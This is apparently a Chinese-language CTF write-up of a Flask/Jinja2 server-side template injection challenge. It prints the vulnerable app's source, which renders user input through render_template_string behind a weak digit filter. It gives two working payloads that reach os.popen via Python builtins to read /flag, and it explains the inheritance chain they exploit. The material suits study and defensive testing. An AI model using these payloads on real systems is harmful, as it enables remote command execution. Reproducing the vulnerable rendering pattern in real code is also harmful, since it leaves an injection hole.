Werkzeug/1.0.1Python/3.8.7
    随便来个 EXP 看看源码先

    1. /?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}

    image.png

    看看源码过滤了啥

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. import re
    5. app = Flask(__name__)
    6. @app.route('/')
    7. def app_index():
    8. name = request.args.get('name')
    9. if name:
    10. if re.search(r"2|3",name,re.I):
    11. return ':('
    12. template = '''
    13. {%% block body %%}
    14. <div class="center-content error">
    15. <h1>Hello</h1>
    16. <h3>%s</h3>
    17. </div>
    18. {%% endblock %%}
    19. ''' % (request.args.get('name'))
    20. return render_template_string(template)
    21. if __name__=="__main__":
    22. app.run(host='0.0.0.0',port=80)

    就加了个是否存在 23 有则不通过
    image.png
    毕竟刚刚利用了 __subclasses__()[132]
    其他解法

    1. /?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

    Python中万物皆对象,所有对象都是通过对象继承链来实现。通过向模板渲染部分传入一个不存在的对象,Jinja2 会将其识别为 jinja2.runtime.Undefined 对象,但是这个对象在 Jinja2 处理时,先将其继承于 Jinja2 对象,通过Python继承链,可构造以下Payload来非法获取内置属性(对象所在类 -> 初始实例 -> Jinja2 对象全局字典 -> 内置属性)。上面的 x 可为任意值,是一个Flask识别不了的对象即可。
    image.png